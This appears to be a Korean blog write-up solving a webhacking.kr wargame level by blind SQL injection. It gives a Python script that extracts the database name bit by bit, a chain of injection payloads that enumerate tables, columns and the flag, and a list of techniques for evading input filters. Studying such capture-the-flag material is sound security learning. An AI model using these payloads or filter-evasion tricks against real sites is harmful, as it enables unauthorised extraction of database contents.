1. Database 확인
◎ 길이 : ?no=if((7)in(length(database())),1,2)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | import requests url="https://webhacking.kr/challenge/web-10/" flag="" for i in range(1,8): binary='' for j in range(1,8): param='?no=if((1)in(substr(lpad(bin(ord(substr(database(),'+str(i)+',1))),7,0),'+str(j)+',1)),1,2)' response = requests.get(url+param) if('<td>1' in response.text): binary+='1' else: binary+='0' print(binary) b2i = int(binary, 2) # 문자열을 2진수로 변경 flag = flag + b2i.to_bytes((b2i.bit_length() + 7) // 8, 'big').decode() # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환 print("[+] " + flag) print("[+]Final Flag : " + flag) | cs |
◎ database명 : chall13
◎ 해당 데이터베이스 총 테이블 수 = 2개
- ?no=if((4)in(select(count(if((table_schema)REGEXP(database()),table_name,null)))from(information_schema.tables)),1,2)
2. Table명 확인
◎ 길이
1) 최대의 길이 = 4
- ?no=if((4)in(select((length(MAX(if((table_schema)REGEXP(database()),table_name,null)))))from(information_schema.tables)),1,2)
2) 최소의 길이 = 13
- ?no=if((13)in(select((length(MIN(if((table_schema)REGEXP(database()),table_name,null)))))from(information_schema.tables)),1,2)
◎ 테이블명
1) 최대의 길이 테이블명 = list
- ?no=if((1)in(select(substr(lpad(bin(ord(substr((MAX(if((table_schema)REGEXP(database()),table_name,null))),1,1))),7,0),1,1))from(information_schema.tables)),1,2)
2) 길이 최대의 테이블명 = flag_ab733768
- ?no=if((1)in(select(substr(lpad(bin(ord(substr((MIN(if((table_schema)REGEXP(database()),table_name,null))),1,1))),7,0),1,1))from(information_schema.tables)),1,2)
3. 테이블 내 Column 확인
◎ 컬럼 수 = 1개
- ?no=if((1)in(select(count(if((table_name)REGEXP(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000),column_name,null)))from(information_schema.columns)),1,2)
◎ 컬럼 길이 = 13
- ?no=if((13)in(select(length(if((table_name)REGEXP(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000),column_name,null)))from(information_schema.columns)),1,2)
◎ 컬럼명 = flag_3a55b31d
- ?no=if((1)in(select(substr(lpad(bin(ord(substr((if((table_name)REGEXP(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000),column_name,null)),1,1))),7,0),1,1))from(information_schema.columns)),1,2)
4. 데이터 확인
◎ 데이터 수 = 2개
- ?no=if((10)in(select(count(flag_3a55b31d))from(flag_ab733768)),1,2)
◎ 최대의 길이 = 27
- ?no=if((27)in(select(length(MAX(flag_3a55b31d)))from(flag_ab733768)),1,2)
◎ 최소의 길이 = 4
- ?no=if((4)in(select(length(MIN(flag_3a55b31d)))from(flag_ab733768)),1,2)
◎ 최대 길이의 값 = FLAG{challenge13gummyclear}
- ?no=if((1)in(select(substr(lpad(bin(ord(substr(MAX(flag_3a55b31d),1,1))),7,0),1,1))from(flag_ab733768)),1,2)
※ 사용한 Filter Bypass list
- like → regexp
: 현재 문제에서는 싱글쿼터 사용이 불가능하여 제대로 사용되지 않았지만 추후 like 구문이 필터링될 때 사용 가능할 것으로 판단
- ascii, hex → ord
- 0x → 0b
- limit → MAX, MIN
: MAX와 MIN을 이용할 경우 2개까지만 확인이 가능하지만 현재 문제에서는 이것을 사용하라는 듯 데이터가 1개 혹은 2개여서 solve가 가능하였음.
- where → if
: 가장 신기했던 건데 if 구문을 이용하여 해당 조건에 맞을 때 원하는 컬럼을 가져오고 아닐 때는 null을 출력하도록 하면 해당 데이터만 출력된다. 이와 관련해서는 좀 더 자세한 포스팅을 남겨두겠다.
: 관련 포스팅 : https://rootable.tistory.com/entry/SQL-Injection-where-filter-bypass?category=621913
'Solve Problem > Webhacking.kr' 카테고리의 다른 글
webhacking.kr old-22 writeup (0) | 2020.04.23 |
---|---|
webhacking.kr old-08 writeup (0) | 2020.04.21 |
webhacking.kr old-07 writeup (0) | 2020.04.21 |
webhacking.kr old-06 writeup (0) | 2020.04.21 |
webhacking.kr old-02 writeup (0) | 2020.04.21 |